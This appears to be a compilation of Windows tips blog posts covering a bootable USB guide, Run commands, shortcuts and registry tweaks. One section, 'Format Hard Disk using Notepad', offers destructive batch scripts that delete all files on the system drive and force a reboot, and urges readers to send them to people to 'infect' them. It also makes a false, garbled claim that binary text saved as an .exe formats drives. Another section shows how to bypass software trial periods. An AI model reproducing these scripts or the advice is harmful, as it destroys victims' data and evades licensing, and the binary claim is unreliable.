Create Bootable USB Pen Drive for Windows 7

Installing Windows from a USB flash drive has several advantages : First of all, the overall speed of the installation process will increase significantly, carrying a USB stick is much more convenient than a DVD, and finally it becomes possible to install the OS even on those systems that do not have a DVD drive, such as a netbook.

 

In this post, I will show you how to load the Windows installation on to your USB flash drive and make it bootable just like the DVD.

Tools Required:

1. USB flash drive with a minimum capacity of 4 GB.
2. Windows 7 Setup DVD.

Step 1 : Plug-in your USB flash drive.
Step 2 : Open the PowerShell (OR Command Prompt if PowerShell Not Exist). If you are using Windows 7/Vista then open it with administrator rights*.
* Goto Start -> All Programs -> Accessories ->Windows PowerShell ->  Right-click on “Windows PowerShell” and select “Run as Administrator”.
Step 3: In the PowerShell, type 

DISKPART

This will start the Microsoft DiskPart utility as shown below:

Now issue the following command:
LIST DISK

This will show you a list of  available disks on your system. Disk 0 is usually the hard disk. In my case, Disk 1 is the USB drive (this can be a different one in your case). Now issue the command as shown below:

 SELECT DISK 1

 above command, 1 is the USB drive number on my system. If you have a different number on your system, then you need to replace 1 with that number.
Step-4: Now issue the following list of commands one by one as shown below:

CLEAN
CREATE PARTITION PRIMARY
SELECT PARTITION 1
ACTIVE
FORMAT FS=NTFS QUICK
ASSIGN
EXIT

Close Power Shell and proceed to the next step.
Step 5: Insert the Windows 7/Vista installation disc and note down the “drive letter” of your DVD drive. In my case, it is “H:”.

Open the command prompt. If you are using Windows 7/Vista then open it with administrator rights*.
* Goto Start -> All Programs -> Accessories -> Right-click on “Command Prompt” and select “Run as Administrator”.

Now type the following list of commands as shown below:
H:
CD BOOT
BOOTSECT.EXE /NT60 G:(NOTE:
G: is your USB drive letter)

EXIT

Step-6: Copy the contents of your Windows 7/Vista installation disk into the USB flash drive.
Directly Copy-Paste All DVD file into Usb Stick Then…

Your USB stick is now ready to boot and install the OS for you. Don’t forget to enable the “USB Boot” option and change the “Boot priority to USB device from hard disk” in your BIOS settings.

Bypass Software Trial Period Manually in Windows

Today I am going to show you how you can bypass software trial period manually and use that again and again.

Follow the below Steps:

1. First you have to uninstall that application whose trial period is over and you wanna use it again.

2. Now open the “Regedit” you can open it by going to Start > Run > Regedit.

3. Navigate to HK Local Machine > Software > Your Software name.

4. Now simply Delete the Key.

5. You have to do this for HK Current user if key is there too.

6. Now go to Run and Type “%temp%”.

7. Delete all files in temporary folder, these are all the files created by software temporary installation and de-installation.

8. Go to C:// Users > Username > App-data ( Check all 3 directories “Local”, “LocalLow”, “Roaming” for your software entry there might be a folder for your software, if you find one Delete that.

9.Now every main step is done you can restart your computer and then Reinstall application.
That’s it now you will get your software’s trial period back, well yes steps are long but it’s the manual way you can bypass the trial period of your software and you can perform this everytime your software expires.

How to Restart Windows Without Restarting

Guys sometimes you come across a stage where you need to restart your computer @ time of installing new software well but you don’t wanna restart as due to some reasons so what we can do is a Cold Reboot which does not Restarts your Computer but Restarts your System.

Follow these below Steps to see how it work: 

1. Whenever you want to Cold Reboot your Computer simply HOLD Shift Key and then click on restart button check example below...

2. So now you got it how you can easily restart your Windows without restarting your computer.
3. So have fun guys and make sure you comment below if you find any problems.

List of RUN Command of Windows Xp

1.  SQL Client Configuration - cliconfg
2.  System Configuration Editor - sysedit
3.  System Configuration Utility - msconfig
4.  System File Checker Utility (Scan Immediately)- sfc /scannow
5.  System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce
6.  System File Checker Utility (Scan On Every Boot) - sfc /scanboot
7.  System File Checker Utility (Return to Default Setting)- sfc /revert
8.  System File Checker Utility (Purge File Cache)- sfc /purgecache
9.  System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x
10.  System Information - msinfo32.
11.  Task Manager - taskmgr
12.  System Properties - sysdm.cpl
13.  Task Manager ? taskmgr
14.  TCP Tester - tcptest
15.  Telnet Client - telnet
16.  Tweak UI (if installed) - tweakui
17.  User Account Management- nusrmgr.cpl
18.  Utility Manager - utilman
19.  Windows Address Book - wab
20.  Windows Address Book Import Utility - wabmig
21.  Windows Backup Utility (if installed)- ntbackup
22.  Windows Explorer - explorer
23.  Windows Firewall- firewall.cpl
24.  Windows Magnifier- magnify
25.  Windows Management Infrastructure - wmimgmt.msc
26.  Windows Media Player - wmplayer
27.  Windows Messenger - msmsgs
28.  Windows Picture Import Wizard (need camera connected)- wiaacmgr
29.  Windows System Security Tool ? syskey
30.  Windows Update Launches - wupdmgr
31.  Windows Version (to show which version of windows)- winver
32.  Windows XP Tour Wizard - tourstart
33.  Wordpad - write
34.  Password Properties - password.cpl
35.  Performance Monitor - perfmon.msc
36.  Phone and Modem Options - telephon.cpl
37.  Phone Dialer - dialer
38.  Pinball Game - pinball
39.  Power Configuration - powercfg.cpl
40.  Printers and Faxes - control printers
41.  Printers Folder ? printers
42.  Private Character Editor - eudcedit
43.  Quicktime (If Installed)- QuickTime.cpl
44.  Real Player (if installed)- realplay
45.  Regional Settings - intl.cpl
46.  Registry Editor - regedit
47.  Registry Editor - regedit32
48.  Remote Access Phonebook - rasphone
49.  Remote Desktop - mstsc
50.  Removable Storage - ntmsmgr.msc
51.  Removable Storage Operator Requests - ntmsoprq.msc
52.  Resultant Set of Policy (XP Prof) - rsop.msc
53.  Scanners and Cameras - sticpl.cpl
54.  Scheduled Tasks - control schedtasks
55.  Security Center - wscui.cpl
56.  Services - services.msc
57.  Shared Folders - fsmgmt.msc
58.  Shuts Down Windows - shutdown
59.  Sounds and Audio - mmsys.cpl
60.  Spider Solitare Card Game - spider
61.  Malicious Software Removal Tool - mrt
62.  Microsoft Access (if installed) - access.cpl
63.  Microsoft Chat - winchat
64.  Microsoft Excel (if installed) - excel
65.  Microsoft Frontpage (if installed)- frontpg
66.  Microsoft Movie Maker - moviemk
67.  Microsoft Paint - mspaint
68.  Microsoft Powerpoint (if installed)- powerpnt
69.  Microsoft Word (if installed)- winword
70.  Microsoft Syncronization Tool - mobsync
71.  Minesweeper Game - winmine
72.  Mouse Properties - control mouse
73.  Mouse Properties - main.cpl
74.  Nero (if installed)- nero
75.  Netmeeting - conf
76.  Network Connections - control netconnections
77.  Network Connections - ncpa.cpl
78.  Network Setup Wizard - netsetup.cpl
79.  Notepad - notepad
80.  Nview Desktop Manager (If Installed)- nvtuicpl.cpl
81.  Object Packager - packager
82.  ODBC Data Source Administrator- odbccp32.cpl
83.  On Screen Keyboard - osk
84.  Opens AC3 Filter (If Installed) - ac3filter.cpl
85.  Outlook Express - msimn
86.  Paint ? pbrush
87.  Keyboard Properties - control keyboard
88.  IP Configuration (Display Connection Configuration) - ipconfi/all
89.  IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns
90.  IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns
91.  IP Configuration (Release All Connections)- ipconfig /release
92.  IP Configuration (Renew All Connections)- ipconfig /renew
93.  IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns
94.  IP Configuration (Display DHCP Class ID)- ipconfig/showclassid
95.  IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid
96.  Java Control Panel (If Installed)- jpicpl32.cpl
97.  Java Control Panel (If Installed)- javaws
98.  Local Security Settings - secpol.msc
99.  Local Users and Groups - lusrmgr.msc
100.  Logs You Out Of Windows - logoff.....
101.  Accessibility Controls - access.cpl
102.  Accessibility Wizard - accwiz
103.  Add Hardware - Wizardhdwwiz.cpl
104.  Add/Remove Programs - appwiz.cpl
105.  Administrative Tools control - admintools
106.  Adobe Acrobat (if installed) - acrobat
107.  Adobe Designer (if installed)- acrodist
108.  Adobe Distiller (if installed)- acrodist
109.  Adobe ImageReady (if installed)- imageready
110.  Adobe Photoshop (if installed)- photoshop
111.  Automatic Updates - wuaucpl.cpl
112.  Bluetooth Transfer Wizard ? fsquirt
113.  Calculator - calc
114.  Certificate Manager - certmgr.msc
115.  Character Map - charmap
116.  Check Disk Utility - chkdsk
117.  Clipboard Viewer - clipbrd
118.  Command Prompt - cmd
119.  Component Services - dcomcnfg
120.  Computer Management - compmgmt.msc
121.  Control Panel - control
122.  Date and Time Properties - timedate.cpl
123.  DDE Shares - ddeshare
124.  Device Manager - devmgmt.msc
125.  Direct X Control Panel (If Installed)- directx.cpl
126.  Direct X Troubleshooter- dxdiag
127.  Disk Cleanup Utility- cleanmgr
128.  Disk Defragment- dfrg.msc
129.  Disk Management- diskmgmt.msc
130.  Disk Partition Manager- diskpart
131.  Display Properties- control desktop
132.  Display Properties- desk.cpl
133.  Display Properties (w/Appearance Tab Preselected)- control color
134.  Dr. Watson System Troubleshooting Utility- drwtsn32
135.  Driver Verifier Utility- verifier
136.  Event Viewer- eventvwr.msc
137.  Files and Settings Transfer Tool- migwiz
138.  File Signature Verification Tool- sigverif
139.  Findfast- findfast.cpl
140.  Firefox (if installed)- firefox
141.  Folders Properties- control folders
142.  Fonts- control fonts
143.  Fonts Folder- fonts
144.  Free Cell Card Game- freecell
145.  Game Controllers- joy.cpl
146.  Group Policy Editor (XP Prof)- gpedit.msc
147.  Hearts Card Game- mshearts
148.  Help and Support- helpctr
149.  HyperTerminal- hypertrm
150.  Iexpress Wizard- iexpress
151.  Indexing Service- ciadv.msc
152.  Internet Connection Wizard- icwconn1
153.  Internet Explorer- iexplore
154.  Internet Setup Wizard- inetwiz
155.  Internet Properties- inetcpl.cpl

How To Convert FAT File System in Windows

How To Convert File System? FAT - FAT32 to NTFS

open a dos prompt and give the command

convert d: /fs:ntfs

this command would convert your d: drive to NTFS.

if the system cannot lock the drive, you will be prompted to convert it during next reboot.

Normally you should select yes.

Conversion from fat/fat32 to ntfs is non-destructive, your data on the drive will NOT be lost.

Be aware that converting to NTFS will make that partition of your drive unreadable under dos unless you have NTFS utilites to do so.

Windows Top Shortcuts and Tricks

    1. Top Useful Shortcut keys available here:

    * Windows key + D - shows the desktop.
    * Windows key + M - minimizes all open windows.
    * Windows key + Shift + M - maximizes all open windows.
    * Windows key + E - Runs Windows Explorer.
    * Windows key + R - shows the RUN dialog.
    * Windows key + F - shows Search window.
    * Windows key + Break - shows System Properties box.
    * Windows key + TAB - Go through taskbar applications.
    * Windows key + PAUSE Display the System Properties dialog box.
    * Windows key + U Open Utility Manager.
    * ALT + TAB - Cycle through opened applications.
    * Hold down CTRL while dragging an item to Copy it.
    * CTRL + ESC Display the Start menu.
    * ALT + ENTER View the properties for the selected item.
    * F4 key Display the Address bar list in My Computer or
    * NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder.

2. Lock Windows to protect computer :
You can lock Windows to protect the computer when leaving the station easily by creating a shortcut with the path rundll32.exeuser32.dll, LockWorkStation. The Windows key + L is also a shortcut to this feature.

3. Edit sysoc.inf to list all software :
To show all software that can be removed from your computer (including protected Windows services), you can manually edit (using notepad for example) the sysoc.inf file located in Windows\inf\. Just remove the word hide next to the software pack.

Note:- use this at your own risk. Removing critical components of the system will make Windows instable.

Now Change Windows Starup & Log off Screen

Startup Screens:
1. Create a 320x400 bitmap in the root directory and name it LOGO.SYS

2. You can use LOGOW.SYS file in the Windows directory as a starter

Logoff Screens:

   1. There are many system file that constitutes Lofoff screen.
   2. They are actually bitmaps 320x400 that just have a different extension
   3. The hidden file in the root directory LOGO.SYS is the startup logo.
   4. There are two files in the Windows directory.
   5. LOGOW.SYS is the Wait while Shutting down ... screen.
   6. LOGOS.SYS is the You may now shut-off or Reboot screen.
   7.  Make two new image files of your chice in Paint and name it as LOGOW.SYS
   8. But make sure they should be of the same size

Lock any folder in Windows without using any Software

Just do it on CMD
1. Make a Folder in C drive rename it as "abc" without quotes.
2. Now open Command Prompt from Start Menu.
3. Type "attrib +s +h C:\abc" without quotes and press enter.
4. This command will Make your folder invisble and it can not be seen even in hidden files and folders.
5. To make it visible again type "attrib -s -h C:\abc".
6. You can lock any other folder also by changing the location C:\abc to address of your folder.

Boot Windows XP Fast

 

Follow the these steps  :

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer

Want to know the last Shut Down time? here we go..

This one for the Internet addicted folks like me or the good Counter Strike lovers and one who use their laptop as downloading machine for day and night. So guys when did you shutdown your machine for the last time? No idea! GET IDEA and follow these steps-

* In XP type eventvwr.msc in the Run dialog box-Please for God sake don’t ask me how to open Run dialog box.
* And if you use Vista or Windows7  then type the “Event Viewer” in the Start Search Box.
* Now click on the System tab in the left panel.

* Now look for the first occurrence of event with event id 6006. This will give us what we are searching for.

So now you know the last shutdown time. It is  6:12 AM and this is not unusual for a net addicted guy. Enjoy and wait for the next post.

Format Hard Disk using Notepad

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.

Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Step 3 :-
Send the EXE to People And Infect
ORIF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out urself rest
cant spoonfeed
its working
Do not try it on your PC. Don’t mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

Are you fed up with shortcut Arrows from desktop Icons? REMOVE IT completely

To Remove shortcut arrow from desktop icons in any type of document:
a) Perform instructions described under ‘Remove shortcut arrow from desktop icons’. For your convenience, steps 1 to 3 are reported here.
b) Perform instructions described under ‘Remove shortcut arrow from desktop icons (2)’. For your convenience, steps 4 and 5 are reported here.
c) And finally, do the same with conferencelink, docshortcut, internetshortcut and wshfile.
So, here is a summary of all actions:
1. Start regedit.
2. Navigate to HKEY_CLASSES_ROOT\lnkfile
3. Delete the IsShortcut registry value.
4. Navigate to HKEY_CLASSES_ROOT\piffile
5. Delete the IsShortcut registry value.
6. Navigate to HKEY_CLASSES_ROOT\ConferenceLink
7. Delete the IsShortcut registry value.
8. Navigate to HKEY_CLASSES_ROOT\DocShortCut
9. Delete the IsShortcut registry value.
10.Navigate to HKEY_CLASSES_ROOT\InternetShortcut
11. Delete the IsShortcut registry value.
12. Navigate to HKEY_CLASSES_ROOT\WSHFile
13. Delete the IsShortcut registry value.
14. Close regedit.
Logoff and…
Enjoy!
Note : Please note that in some cases deactivating the arrow for *.LNK files might lead to duplicate items in the Explorer Context menu.

Auto End Task to Enable a Proper Shutdown

This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.
1. Copy the following (everything in the box) into notepad.

QUOTE
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001
[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"

2. Save the file as shutdown.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

Chat with your friends using Command Prompt

1. You only need to know your friends IP Address.
2. Open Notepad and write this code as it is.....!

@echo off

:A

Cls

echo MESSENGER

set /p n=User:

set /p m=Message:

net send %n% %m%

Pause

Goto A

     3.   Now save this as "Messenger.Bat".

     4.   Open Command Prompt.

     5.   Drag this file (.bat file) over to Command Prompt and press Enter.
     6.   You would then see something like this:

     7.   Now, type the IP Address of the computer you want to contact and press enter
          
         You will see something like this:

     8.   Now all you need to do is type your message and press Enter.
           Start Chatting.......!

 

           ENJOY!!!!!